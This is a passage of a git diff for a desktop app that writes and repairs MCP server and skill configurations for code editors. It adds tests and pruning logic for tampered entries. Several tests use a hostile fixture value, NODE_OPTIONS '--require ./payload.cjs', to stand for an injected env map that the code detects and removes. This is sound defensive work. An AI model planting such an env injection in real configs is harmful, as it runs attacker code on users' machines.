'mcp-wiring-path-consent-failed',+ severity: 'warn',decision: pathDecision,error: pathResult.error,});@@ -650,7 +753,11 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): RuskillResult = { ok: false, error: err instanceof Error ? err.message : String(err) };}if (!skillResult.ok) {- logger.event({ event: 'mcp-wiring-skill-consent-failed', error: skillResult.error });+ logger.event({+ event: 'mcp-wiring-skill-consent-failed',+ severity: 'warn',+ error: skillResult.error,+ });logIpcError({event: 'ipc.error',channel: 'ok:mcp-wiring:confirm',@@ -669,6 +776,7 @@ export function runMcpWiringOnFirstLaunch(opts: RunMcpWiringFirstLaunchOpts): Ruevent: enabledIds.includes(d.id)? 'mcp-wiring-skill-consent-granted': 'mcp-wiring-skill-consent-declined',+ severity: 'info',bundle: d.id,});}diff --git a/packages/desktop/src/main/project-integrations-settings.test.ts b/packages/desktop/src/main/project-integrations-settings.test.tsindex 1865eadf0..bd4dd6c74 100644--- a/packages/desktop/src/main/project-integrations-settings.test.ts+++ b/packages/desktop/src/main/project-integrations-settings.test.ts@@ -36,6 +36,7 @@ interface CliOverrides {skillInstalled?: boolean;skillWriteFails?: McpWiringEditorId[];skillRemoveFails?: McpWiringEditorId[];+ skillWriteUnmet?: McpWiringEditorId[];}function makeCli(overrides: CliOverrides = {}): ProjectIntegrationsCliSurface & {@@ -43,11 +44,9 @@ function makeCli(overrides: CliOverrides = {}): ProjectIntegrationsCliSurface &removals: McpWiringEditorId[];skillWrites: McpWiringEditorId[];skillRemovals: McpWiringEditorId[];- decisions: Array<{ dir: string; enabled: boolean }>;reports: string[];} {const writes: McpWiringEditorId[] = [];- const decisions: Array<{ dir: string; enabled: boolean }> = [];const reports: string[] = [];const removals: McpWiringEditorId[] = [];const skillWrites: McpWiringEditorId[] = [];@@ -96,6 +95,7 @@ function makeCli(overrides: CliOverrides = {}): ProjectIntegrationsCliSurface &writeProjectSkill: (id) => {skillWrites.push(id);if (overrides.skillWriteFails?.includes(id)) return { action: 'failed', error: 'nope' };+ if (overrides.skillWriteUnmet?.includes(id)) return { action: 'skipped-prerequisite' };return { action: 'written' };},removeProjectSkill: (id) => {@@ -103,13 +103,9 @@ function makeCli(overrides: CliOverrides = {}): ProjectIntegrationsCliSurface &if (overrides.skillRemoveFails?.includes(id)) return { action: 'failed', error: 'nope' };return { action: 'removed' };},- recordProjectSkillDecision: (dir, enabled) => {- decisions.push({ dir, enabled });- },reportProjectSkillInstalled: (dir) => {reports.push(dir);},- decisions,reports,};}@@ -156,7 +152,7 @@ describe('registerProjectIntegrationsSettings — status', () => {expect(claude?.configPath).toBe('.mcp.json');expect(claude?.detected).toBe(false);expect(claude?.followUp).toBe('approve-once');- expect(s.editors.find((e) => e.id === 'codex')?.followUp).toBe('auto-connect');+ expect(s.editors.find((e) => e.id === 'codex')?.followUp).toBe('trust-gated');});test('marks project rows detected from the shared machine-level probes', async () => {@@ -304,12 +300,21 @@ describe('registerProjectIntegrationsSettings — set', () => {expect(cli.skillWrites).toEqual([]);});+ test('an install blocked by an unmet prerequisite is not reported as installed', async () => {+ const cli = makeCli({ skillWriteUnmet: ['claude'] });+ const { set } = register(cli);++ const r = await set({ component: { kind: 'skill' }, enabled: true });++ expect(r.ok).toBe(false);+ expect(cli.reports).toEqual([]);+ });+test('switching the skill ON records the decision and counts the install', async () => {const cli = makeCli();const { set } = register(cli);const r = await set({ component: { kind: 'skill' }, enabled: true });expect(r.ok).toBe(true);- expect(cli.decisions).toEqual([{ dir: PROJECT, enabled: true }]);expect(cli.reports).toEqual([PROJECT]);});@@ -318,7 +323,6 @@ describe('registerProjectIntegrationsSettings — set', () => {const { set } = register(cli);const r = await set({ component: { kind: 'skill' }, enabled: false });expect(r.ok).toBe(true);- expect(cli.decisions).toEqual([{ dir: PROJECT, enabled: false }]);expect(cli.reports).toEqual([]);});@@ -326,7 +330,6 @@ describe('registerProjectIntegrationsSettings — set', () => {const cli = makeCli({ skillWriteFails: ['codex'] as McpWiringEditorId[] });const { set } = register(cli);await set({ component: { kind: 'skill' }, enabled: true });- expect(cli.decisions).toEqual([{ dir: PROJECT, enabled: true }]);expect(cli.reports).toEqual([]);});diff --git a/packages/desktop/src/main/project-integrations-settings.ts b/packages/desktop/src/main/project-integrations-settings.tsindex 92590c39b..502577483 100644--- a/packages/desktop/src/main/project-integrations-settings.ts+++ b/packages/desktop/src/main/project-integrations-settings.ts@@ -4,6 +4,7 @@ import type {McpEntryClassification,McpRemoveOutcome,} from '@inkeep/open-knowledge';+import { projectMcpConsentClass } from '@inkeep/open-knowledge-core';import type { IpcMain, IpcMainInvokeEvent } from 'electron';import type {IntegrationsEditorState,@@ -24,14 +25,8 @@ import {} from './integrations-settings.ts';import { logIpcError } from './ipc-log.ts';-const EDITOR_FOLLOW_UP: Partial<Record<McpWiringEditorId, ProjectIntegrationsFollowUp>> = {- claude: 'approve-once',- cursor: 'enable-manually',- codex: 'auto-connect',-};-function followUpFor(id: McpWiringEditorId): ProjectIntegrationsFollowUp {- return EDITOR_FOLLOW_UP[id] ?? 'none';+ return projectMcpConsentClass(id);}export interface ProjectIntegrationsCliSurface {@@ -72,8 +67,10 @@ export interface ProjectIntegrationsCliSurface {removeProjectSkill(id: McpWiringEditorId,projectDir: string,- ): { action: 'removed' | 'not-present' | 'skipped-unsupported' | 'failed'; error?: string };- recordProjectSkillDecision?(projectDir: string, enabled: boolean): void;+ ): {+ action: 'removed' | 'not-present' | 'skipped-unsupported' | 'failed';+ error?: string;+ };reportProjectSkillInstalled?(projectDir: string): void;}@@ -267,6 +264,12 @@ export function registerProjectIntegrationsSettings(}}+ function skillActionSucceeded(action: string, enabled: boolean): boolean {+ return enabled+ ? action === 'written' || action === 'overwritten'+ : action === 'removed' || action === 'not-present';+ }+async function setSkill(projectDir: string,enabled: boolean,@@ -281,7 +284,7 @@ export function registerProjectIntegrationsSettings(const result = enabled? cli.writeProjectSkill(id, projectDir): cli.removeProjectSkill(id, projectDir);- if (result.action === 'failed') {+ if (!skillActionSucceeded(result.action, enabled)) {failures.push(`${cli.editorLabel(id)}${result.error ? ` (${result.error})` : ''}`);}} catch (err) {@@ -290,7 +293,6 @@ export function registerProjectIntegrationsSettings();}}- cli.recordProjectSkillDecision?.(projectDir, enabled);if (enabled && failures.length === 0) cli.reportProjectSkillInstalled?.(projectDir);if (failures.length > 0) {return {diff --git a/packages/desktop/src/main/project-mcp-reclaim.test.ts b/packages/desktop/src/main/project-mcp-reclaim.test.tsindex 5da57b0f9..26b412aa8 100644--- a/packages/desktop/src/main/project-mcp-reclaim.test.ts+++ b/packages/desktop/src/main/project-mcp-reclaim.test.ts@@ -40,7 +40,7 @@ function buildCli(classification?: McpEntryClassification;readThrows?: Error;writeOutcome?: {- action: 'overwritten' | 'declined' | 'failed';+ action: 'overwritten' | 'unchanged' | 'declined' | 'failed';reason?: McpDeclineReason;error?: string;};@@ -65,8 +65,8 @@ function buildCli(if (entry?.readThrows) throw entry.readThrows;return entry?.classification ?? { kind: 'absent' };},- writeProjectMcpConfig: ({ editorId }) => {- writes.push(editorId);+ writeProjectMcpConfig: ({ editorId, pruneOnly }) => {+ writes.push(pruneOnly ? `${editorId}:prune` : editorId);return perEditor[editorId]?.writeOutcome ?? { action: 'overwritten' };},},@@ -202,6 +202,132 @@ describe('checkAndRepairProjectMcpOnProjectOpen', () => {expect(writes).toEqual([]);});+ test('current entry with an env map added after we wrote it → reclaimed, rewritten', async () => {+ const { cli, writes } = buildCli({+ claude: {+ target: fakeTarget('claude' as McpWiringEditorId, '/p/.mcp.json'),+ classification: {+ kind: 'present',+ entry: { ...CHAIN_ENTRY, env: { NODE_OPTIONS: '--require ./payload.cjs' } },+ },+ },+ });+ const r = await checkAndRepairProjectMcpOnProjectOpen({+ projectDir: '/p',+ executablePath: EXE,+ isPackaged: true,+ platform: 'darwin',+ cli,+ });+ expect(r.status).toBe('done');+ if (r.status === 'done') expect(r.perEditor[0]?.status).toBe('reclaimed');+ expect(writes).toEqual(['claude:prune']);+ });++ test('future entry with an env map added after we wrote it → pruned, never downgraded', async () => {+ const { cli, writes } = buildCli({+ claude: {+ target: fakeTarget('claude' as McpWiringEditorId, '/p/.mcp.json'),+ classification: {+ kind: 'present',+ entry: {+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ },+ },+ },+ });+ const r = await checkAndRepairProjectMcpOnProjectOpen({+ projectDir: '/p',+ executablePath: EXE,+ isPackaged: true,+ platform: 'darwin',+ cli,+ });+ expect(r.status).toBe('done');+ if (r.status === 'done') expect(r.perEditor[0]?.status).toBe('reclaimed');+ expect(writes).toEqual(['claude:prune']);+ });++ test('a prune the writer declines → declined, never healthy-current', async () => {+ const { cli, writes } = buildCli({+ claude: {+ target: fakeTarget('claude' as McpWiringEditorId, '/p/.mcp.json'),+ classification: {+ kind: 'present',+ entry: { ...CHAIN_ENTRY, env: { NODE_OPTIONS: '--require ./payload.cjs' } },+ },+ writeOutcome: { action: 'declined', reason: 'no-native-writer' },+ },+ });+ const r = await checkAndRepairProjectMcpOnProjectOpen({+ projectDir: '/p',+ executablePath: EXE,+ isPackaged: true,+ platform: 'darwin',+ cli,+ });+ expect(r.status).toBe('done');+ if (r.status === 'done') {+ expect(r.perEditor[0]).toMatchObject({ status: 'declined', reason: 'no-native-writer' });+ }+ expect(writes).toEqual(['claude:prune']);+ });++ test('a prune that fails → failed with the writer error', async () => {+ const { cli } = buildCli({+ claude: {+ target: fakeTarget('claude' as McpWiringEditorId, '/p/.mcp.json'),+ classification: {+ kind: 'present',+ entry: { ...CHAIN_ENTRY, env: { NODE_OPTIONS: '--require ./payload.cjs' } },+ },+ writeOutcome: { action: 'failed', error: 'EACCES' },+ },+ });+ const r = await checkAndRepairProjectMcpOnProjectOpen({+ projectDir: '/p',+ executablePath: EXE,+ isPackaged: true,+ platform: 'darwin',+ cli,+ });+ expect(r.status).toBe('done');+ if (r.status === 'done')+ expect(r.perEditor[0]).toMatchObject({ status: 'failed', error: 'EACCES' });+ });++ test('a prune that finds nothing to remove → prune-unchanged, never healthy-current', async () => {+ const events: Array<Record<string, unknown>> = [];+ const { cli } = buildCli({+ claude: {+ target: fakeTarget('claude' as McpWiringEditorId, '/p/.mcp.json'),+ classification: {+ kind: 'present',+ entry: { ...CHAIN_ENTRY, env: { NODE_OPTIONS: '--require ./payload.cjs' } },+ },+ writeOutcome: { action: 'unchanged' },+ },+ });+ const r = await checkAndRepairProjectMcpOnProjectOpen({+ projectDir: '/p',+ executablePath: EXE,+ isPackaged: true,+ platform: 'darwin',+ cli,+ logger: { event: (e) => events.push(e) },+ });+ expect(r.status).toBe('done');+ if (r.status === 'done') {+ expect(r.perEditor[0]).toMatchObject({ status: 'prune-unchanged', keys: ['env'] });+ }+ expect(events).toContainEqual(+ expect.objectContaining({ event: 'project-mcp-reclaim-prune-unchanged', keys: ['env'] }),+ );+ expect(events.some((e) => e.event === 'project-mcp-reclaim-healthy-current')).toBe(false);+ });+test('recognized future entry → healthy-current, no downgrade write', async () => {const { cli, writes } = buildCli({claude: {diff --git a/packages/desktop/src/main/project-mcp-reclaim.ts b/packages/desktop/src/main/project-mcp-reclaim.tsindex 43fc44811..6e9ca9e63 100644--- a/packages/desktop/src/main/project-mcp-reclaim.ts+++ b/packages/desktop/src/main/project-mcp-reclaim.ts@@ -2,6 +2,7 @@ import { join } from 'node:path';import {buildMcpConfigDeclineEvent,buildMcpConfigMigrateEvent,+ droppedManagedKeys,type EditorMcpTarget,isEntryUpToDate,type McpDeclineReason,@@ -13,11 +14,12 @@ import type { McpWiringEditorId } from '../shared/ipc-channels.ts';import { classifyInstallShape } from './install-shape.ts';interface ProjectMcpReclaimLogger {- event(payload: { event: string; [key: string]: unknown }): void;+ event(payload: { event: string; severity: 'info' | 'warn'; [key: string]: unknown }): void;}const DEFAULT_LOGGER: ProjectMcpReclaimLogger = {- event: (payload) => console.warn(JSON.stringify(payload)),+ event: (payload) =>+ (payload.severity === 'warn' ? console.warn : console.info)(JSON.stringify(payload)),};type ProjectMcpReclaimPerEditor =@@ -25,6 +27,12 @@ type ProjectMcpReclaimPerEditor =| { editor: McpWiringEditorId; status: 'no-token'; configPath: string }| { editor: McpWiringEditorId; status: 'healthy-current'; configPath: string }| { editor: McpWiringEditorId; status: 'reclaimed'; configPath: string }+ | {+ editor: McpWiringEditorId;+ status: 'prune-unchanged';+ configPath: string;+ keys: readonly string[];+ }| {editor: McpWiringEditorId;status: 'declined';@@ -50,7 +58,12 @@ export interface ProjectMcpReclaimCliSurface {editorId: McpWiringEditorId;projectDir: string;projectPath: string;- }): { action: 'overwritten' | 'declined' | 'failed'; reason?: McpDeclineReason; error?: string };+ pruneOnly?: boolean;+ }): {+ action: 'overwritten' | 'unchanged' | 'declined' | 'failed';+ reason?: McpDeclineReason;+ error?: string;+ };}interface CheckAndRepairProjectMcpOpts {@@ -65,6 +78,39 @@ interface CheckAndRepairProjectMcpOpts {logger?: ProjectMcpReclaimLogger;}+function settleFailedOrDeclinedWrite(+ editor: McpWiringEditorId,+ projectPath: string,+ result: ReturnType<ProjectMcpReclaimCliSurface['writeProjectMcpConfig']>,+ logger: ProjectMcpReclaimLogger,+): ProjectMcpReclaimPerEditor | null {+ if (result.action === 'failed') {+ const error = result.error ?? 'unknown';+ logger.event({+ event: 'project-mcp-reclaim-write-failed',+ severity: 'warn',+ editor,+ configPath: projectPath,+ error,+ });+ return { editor, status: 'failed', configPath: projectPath, error };+ }+ if (result.action === 'declined') {+ const reason: McpDeclineReason = result.reason ?? 'unparseable';+ logger.event({+ severity: 'warn',+ ...buildMcpConfigDeclineEvent({+ scope: 'project',+ surface: 'desktop-project-open',+ editorId: editor,+ reason,+ }),+ });+ return { editor, status: 'declined', configPath: projectPath, reason };+ }+ return null;+}+export async function checkAndRepairProjectMcpOnProjectOpen(opts: CheckAndRepairProjectMcpOpts,): Promise<ProjectMcpReclaimResult> {@@ -88,7 +134,7 @@ export async function checkAndRepairProjectMcpOnProjectOpen(return { status: 'skipped', reason: 'bad-executable-path' };}- logger.event({ event: 'project-mcp-reclaim-started', projectDir });+ logger.event({ event: 'project-mcp-reclaim-started', severity: 'info', projectDir });const perEditor: ProjectMcpReclaimPerEditor[] = [];for (const editor of cli.allEditorIds) {@@ -109,6 +155,7 @@ export async function checkAndRepairProjectMcpOnProjectOpen(});logger.event({event: 'project-mcp-reclaim-resolve-failed',+ severity: 'warn',editor,error: err instanceof Error ? err.message : String(err),});@@ -127,6 +174,7 @@ export async function checkAndRepairProjectMcpOnProjectOpen(});logger.event({event: 'project-mcp-reclaim-read-failed',+ severity: 'warn',editor,configPath: projectPath,error: err instanceof Error ? err.message : String(err),@@ -136,7 +184,12 @@ export async function checkAndRepairProjectMcpOnProjectOpen(if (classification.kind === 'absent' || classification.kind === 'no-entry') {perEditor.push({ editor, status: 'no-token', configPath: projectPath });- logger.event({ event: 'project-mcp-reclaim-no-token', editor, configPath: projectPath });+ logger.event({+ event: 'project-mcp-reclaim-no-token',+ severity: 'info',+ editor,+ configPath: projectPath,+ });continue;}@@ -147,23 +200,25 @@ export async function checkAndRepairProjectMcpOnProjectOpen(configPath: projectPath,reason: classification.reason,});- logger.event(- buildMcpConfigDeclineEvent({+ logger.event({+ severity: 'warn',+ ...buildMcpConfigDeclineEvent({scope: 'project',surface: 'desktop-project-open',editorId: editor,reason: classification.reason,}),- );+ });continue;}if (classification.kind === 'present') {- if (editor === 'pi') {+ if (target.format === 'file') {if (isEntryUpToDate(classification.entry)) {perEditor.push({ editor, status: 'healthy-current', configPath: projectPath });logger.event({event: 'project-mcp-reclaim-healthy-current',+ severity: 'info',editor,configPath: projectPath,});@@ -172,11 +227,54 @@ export async function checkAndRepairProjectMcpOnProjectOpen(} else {const launcher = classifyMcpLauncherEntry(classification.entry);if (launcher.kind === 'recognized' && launcher.disposition === 'keep') {- perEditor.push({ editor, status: 'healthy-current', configPath: projectPath });+ const dropped = droppedManagedKeys(+ classification.entry,+ target.buildEntry(projectDir, {}),+ );+ if (dropped.length === 0) {+ perEditor.push({ editor, status: 'healthy-current', configPath: projectPath });+ logger.event({+ event: 'project-mcp-reclaim-healthy-current',+ severity: 'info',+ editor,+ configPath: projectPath,+ });+ continue;+ }+ const pruneResult = cli.writeProjectMcpConfig({+ editorId: editor,+ projectDir,+ projectPath,+ pruneOnly: true,+ });+ const settled = settleFailedOrDeclinedWrite(editor, projectPath, pruneResult, logger);+ if (settled !== null) {+ perEditor.push(settled);+ continue;+ }+ if (pruneResult.action === 'unchanged') {+ perEditor.push({+ editor,+ status: 'prune-unchanged',+ configPath: projectPath,+ keys: dropped,+ });+ logger.event({+ event: 'project-mcp-reclaim-prune-unchanged',+ severity: 'warn',+ editor,+ configPath: projectPath,+ keys: dropped,+ });+ continue;+ }+ perEditor.push({ editor, status: 'reclaimed', configPath: projectPath });logger.event({- event: 'project-mcp-reclaim-healthy-current',+ event: 'project-mcp-reclaim-pruned',+ severity: 'info',editor,configPath: projectPath,+ keys: dropped,});continue;}@@ -187,14 +285,15 @@ export async function checkAndRepairProjectMcpOnProjectOpen(configPath: projectPath,reason: launcher.reason,});- logger.event(- buildMcpConfigDeclineEvent({+ logger.event({+ severity: 'warn',+ ...buildMcpConfigDeclineEvent({scope: 'project',surface: 'desktop-project-open',editorId: editor,reason: launcher.reason,}),- );+ });continue;}}@@ -205,48 +304,25 @@ export async function checkAndRepairProjectMcpOnProjectOpen(return _exhaustive;}- logger.event(- buildMcpConfigMigrateEvent({+ logger.event({+ severity: 'info',+ ...buildMcpConfigMigrateEvent({scope: 'project',surface: 'desktop-project-open',editorId: editor,configPath: projectPath,priorEntry: classification.entry,}),- );+ });const writeResult = cli.writeProjectMcpConfig({editorId: editor,projectDir,projectPath,});- if (writeResult.action === 'failed') {- perEditor.push({- editor,- status: 'failed',- configPath: projectPath,- error: writeResult.error ?? 'unknown',- });- logger.event({- event: 'project-mcp-reclaim-write-failed',- editor,- configPath: projectPath,- error: writeResult.error ?? 'unknown',- });- continue;- }-- if (writeResult.action === 'declined') {- const reason: McpDeclineReason = writeResult.reason ?? 'unparseable';- perEditor.push({ editor, status: 'declined', configPath: projectPath, reason });- logger.event(- buildMcpConfigDeclineEvent({- scope: 'project',- surface: 'desktop-project-open',- editorId: editor,- reason,- }),- );+ const settledWrite = settleFailedOrDeclinedWrite(editor, projectPath, writeResult, logger);+ if (settledWrite !== null) {+ perEditor.push(settledWrite);continue;}@@ -254,6 +330,7 @@ export async function checkAndRepairProjectMcpOnProjectOpen(perEditor.push({ editor, status: 'reclaimed', configPath: projectPath });logger.event({event: 'project-mcp-reclaim-reclaimed',+ severity: 'info',editor,configPath: projectPath,priorCommand,diff --git a/packages/desktop/src/main/skill-reclaim.placement.test.ts b/packages/desktop/src/main/skill-reclaim.placement.test.tsindex 0d04b9450..7af9c2630 100644--- a/packages/desktop/src/main/skill-reclaim.placement.test.ts+++ b/packages/desktop/src/main/skill-reclaim.placement.test.ts@@ -3,7 +3,7 @@ import { tmpdir } from 'node:os';import { dirname, join } from 'node:path';import { USER_SKILL_HOSTS } from '@inkeep/open-knowledge-core';import { afterEach, describe, expect, test } from 'vitest';-import { reclaimUserSkillsOnLaunch } from './skill-reclaim.ts';+import { reconcileUserGlobalSkillBundles } from './skill-reclaim.ts';const EXE = '/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge';const BUNDLES = [{ id: 'discovery', name: 'open-knowledge-discovery' }] as const;@@ -59,7 +59,7 @@ function installAt(home: string, root: string): void {}function run(home: string, bundle: string) {- return reclaimUserSkillsOnLaunch({+ return reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -78,7 +78,7 @@ function run(home: string, bundle: string) {});}-describe('reclaimUserSkillsOnLaunch placement', () => {+describe('reconcileUserGlobalSkillBundles placement', () => {test('seeds the default host set when the bundle is nowhere (first run)', async () => {const home = homeWithAllHosts();diff --git a/packages/desktop/src/main/skill-reclaim.test.ts b/packages/desktop/src/main/skill-reclaim.test.tsindex 4ecdc9002..59ae11017 100644--- a/packages/desktop/src/main/skill-reclaim.test.ts+++ b/packages/desktop/src/main/skill-reclaim.test.ts@@ -6,31 +6,15 @@ import {readFileSync,rmSync,statSync,- symlinkSync,writeFileSync,} from 'node:fs';import { tmpdir } from 'node:os';import { join } from 'node:path';import { afterEach, describe, expect, test } from 'vitest';-import { reclaimProjectSkillsOnProjectOpen, reclaimUserSkillsOnLaunch } from './skill-reclaim.ts';+import { reconcileUserGlobalSkillBundles } from './skill-reclaim.ts';const EXE = '/Applications/OpenKnowledge.app/Contents/MacOS/OpenKnowledge';-const OK_WIRED_MCP_JSON = JSON.stringify({- mcpServers: {- 'open-knowledge': { command: '/bin/sh', args: ['-l', '-c', '# ok-mcp-v1\nexec ok mcp'] },- },-});-const UNWIRED_MCP_JSON = JSON.stringify({ mcpServers: { other: { command: 'node' } } });-const OK_WIRED_MCP_JSON_WIN = JSON.stringify({- mcpServers: {- 'open-knowledge': {- command: 'powershell',- args: ['-NoProfile', '-NonInteractive', '-Command', '# ok-mcp-win-v1\nexit 127'],- },- },-});-const cleanupPaths: string[] = [];afterEach(() => {@@ -155,11 +139,11 @@ function makeDeps(opts: {};}-describe('reclaimUserSkillsOnLaunch', () => {+describe('reconcileUserGlobalSkillBundles', () => {test('skipped on AppImage launches (ephemeral mount path)', async () => {const home = makeHome();const deps = makeDeps({ bundle: setupBundle() });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'linux',@@ -176,7 +160,7 @@ describe('reclaimUserSkillsOnLaunch', () => {mkdirSync(join(home, '.agents'), { recursive: true });const bundle = setupBundle();const deps = makeDeps({ bundle, version: '1.0.0' });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'linux',@@ -193,7 +177,7 @@ describe('reclaimUserSkillsOnLaunch', () => {const home = makeHome();const bundle = setupBundle();const deps = makeDeps({ bundle, version: '0.5.0-beta.41' });- await reclaimUserSkillsOnLaunch({+ await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -210,7 +194,7 @@ describe('reclaimUserSkillsOnLaunch', () => {mkdirSync(join(home, '.pi'), { recursive: true });const bundle = setupBundle();const deps = makeDeps({ bundle, version: '0.5.0-beta.41' });- await reclaimUserSkillsOnLaunch({+ await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -231,7 +215,7 @@ describe('reclaimUserSkillsOnLaunch', () => {writeFileSync(join(skillDir, 'SKILL.md'), '# existing');const bundle = setupBundle();const deps = makeDeps({ bundle, version: '0.5.0-beta.41', bundleDecision: null });- await reclaimUserSkillsOnLaunch({+ await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -257,7 +241,7 @@ describe('reclaimUserSkillsOnLaunch', () => {{ id: 'write-skill', name: 'open-knowledge-write-skill' },],};- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -282,7 +266,7 @@ describe('reclaimUserSkillsOnLaunch', () => {writeFileSync(join(central, 'SKILL.md'), '---\nname: open-knowledge\n---\n# v-old\n');writeFileSync(join(central, 'orphan.md'), 'stale');const deps = makeDeps({ bundle, version: '0.5.0-beta.41' });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -303,7 +287,7 @@ describe('reclaimUserSkillsOnLaunch', () => {mkdirSync(join(home, '.claude'), { recursive: true });const bundle = setupBundle();const deps = makeDeps({ bundle, version: '1.2.3' });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -330,7 +314,7 @@ describe('reclaimUserSkillsOnLaunch', () => {const bundle = setupBundle();const deps = makeDeps({ bundle, version: '1.2.3' });const events: Array<Record<string, unknown>> = [];- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -364,7 +348,7 @@ describe('reclaimUserSkillsOnLaunch', () => {writeFileSync(join(dest, 'SKILL.md'), '---\nname: open-knowledge\n---\n# v-old\n');const bundle = setupBundle();const deps = makeDeps({ bundle, version: '1.2.3' });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -389,7 +373,7 @@ describe('reclaimUserSkillsOnLaunch', () => {}const bundle = setupBundle();const deps = makeDeps({ bundle, version: '1.2.3' });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -409,7 +393,7 @@ describe('reclaimUserSkillsOnLaunch', () => {const home = makeHome();mkdirSync(join(home, '.agents'), { recursive: true });const deps = makeDeps({ bundle: setupBundle(), version: '3.2.1' });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -448,7 +432,7 @@ describe('reclaimUserSkillsOnLaunch', () => {],};const failingBundleDir = 'open-knowledge-write-skill';- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -496,7 +480,7 @@ describe('reclaimUserSkillsOnLaunch', () => {bundle: '/does-not-matter',resolveThrows: new Error('not found'),});- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -511,7 +495,7 @@ describe('reclaimUserSkillsOnLaunch', () => {test('version-read failure surfaces as skipped; no state-write', async () => {const home = makeHome();const deps = makeDeps({ bundle: setupBundle(), versionThrows: new Error('bad pkg') });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -531,7 +515,7 @@ describe('reclaimUserSkillsOnLaunch', () => {version: '1.2.3',stateWriteThrows: new Error('ENOSPC: no space left on device'),});- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -549,7 +533,7 @@ describe('reclaimUserSkillsOnLaunch', () => {});});-describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {+describe('reconcileUserGlobalSkillBundles — per-bundle opt-in gate', () => {const DISCOVERY_DIR = ['.agents', 'skills', 'open-knowledge-discovery'] as const;function seedCentral(home: string): void {@@ -561,7 +545,7 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {test('FR1: fresh machine (no decision, nothing on disk) installs nothing', async () => {const home = makeHome();const deps = makeDeps({ bundle: setupBundle(), bundleDecision: null });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -578,7 +562,7 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {const home = makeHome();seedCentral(home);const deps = makeDeps({ bundle: setupBundle(), bundleDecision: false });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -595,7 +579,7 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {const home = makeHome();seedCentral(home);const deps = makeDeps({ bundle: setupBundle(), version: '1.0.0', bundleDecision: null });- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -631,7 +615,7 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {{ id: 'write-skill', name: 'open-knowledge-write-skill' },],};- const r = await reclaimUserSkillsOnLaunch({+ const r = await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -660,7 +644,7 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {],};- await reclaimUserSkillsOnLaunch({+ await reconcileUserGlobalSkillBundles({home,isPackaged: true,platform: 'darwin',@@ -672,396 +656,59 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {});});-describe('reclaimProjectSkillsOnProjectOpen', () => {- test('skipped on AppImage launches (ephemeral mount path)', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: '/tmp/.mount_okXYZ/openknowledge',+describe('seed: false', () => {+ test('reconciles only: no bundle is written and no state is recorded', async () => {+ const home = makeHome();+ const bundle = setupBundle();+ const deps = makeDeps({ bundle, version: '1.0.0' });+ const r = await reconcileUserGlobalSkillBundles({+ home,isPackaged: true,platform: 'linux',- env: { APPIMAGE: '/home/u/OK.AppImage' },- deps: { resolveBundledSkillDir: () => setupBundle() },- });- expect(r.status).toBe('skipped');- if (r.status === 'skipped') expect(r.reason).toBe('appimage-ephemeral');- });-- test('an explicit OFF in Settings is honoured — no resurrection on the next open', async () => {- const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));- cleanupPaths.push(projectDir);- mkdirSync(join(projectDir, '.claude'), { recursive: true });- writeFileSync(- join(projectDir, '.mcp.json'),- JSON.stringify({ mcpServers: { 'open-knowledge': { args: ['# ok-mcp-v2'] } } }),- );-- const r = await reclaimProjectSkillsOnProjectOpen({- projectDir,- executablePath: EXE,- isPackaged: true,- platform: 'darwin',- createIfWired: true,- deps: {- resolveBundledSkillDir: () => setupBundle(),- 